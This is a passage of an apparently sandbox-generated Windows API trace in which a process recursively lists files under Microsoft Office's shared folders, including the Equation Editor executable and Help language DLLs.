	[0164.453] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0164.454] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0164.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\*", lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140298
	[0164.454] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.454] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1
	[0164.454] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0164.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140698
	[0164.455] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.455] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x823be8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1
	[0164.456] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x823be8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1
	[0164.456] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x823be8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x823be8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x823be8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="C2R32.dll", cAlternateFileName="")) returned 1
	[0164.456] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28505256, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84a80, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="eqnedt32.exe", cAlternateFileName="")) returned 1
	[0164.456] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28505256, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84a80, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="eqnedt32.exe", cAlternateFileName="")) returned 0
	[0164.456] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0164.457] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.457] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0164.457] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0164.457] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140698
	[0164.458] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.458] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1
	[0164.458] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1028\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140a18
	[0164.459] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.460] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1
	[0164.460] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0
	[0164.460] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0164.463] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.463] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1
	[0164.463] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1031\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41409d8
	[0164.463] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.464] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1
	[0164.464] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0
	[0164.464] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0164.464] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.464] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0164.464] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.464] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1033\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140e58
	[0164.464] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.464] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1
	[0164.464] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0
	[0164.464] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0164.464] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.465] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0164.465] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1036\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0164.465] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.465] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5688, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1
	[0164.465] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5688, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0
	[0164.465] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0164.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.465] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1
	[0164.465] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1040\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140d98
	[0164.465] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.466] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1
	[0164.466] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0
	[0164.466] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0164.466] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.466] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1
	[0164.466] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1041\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140e18
	[0164.466] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
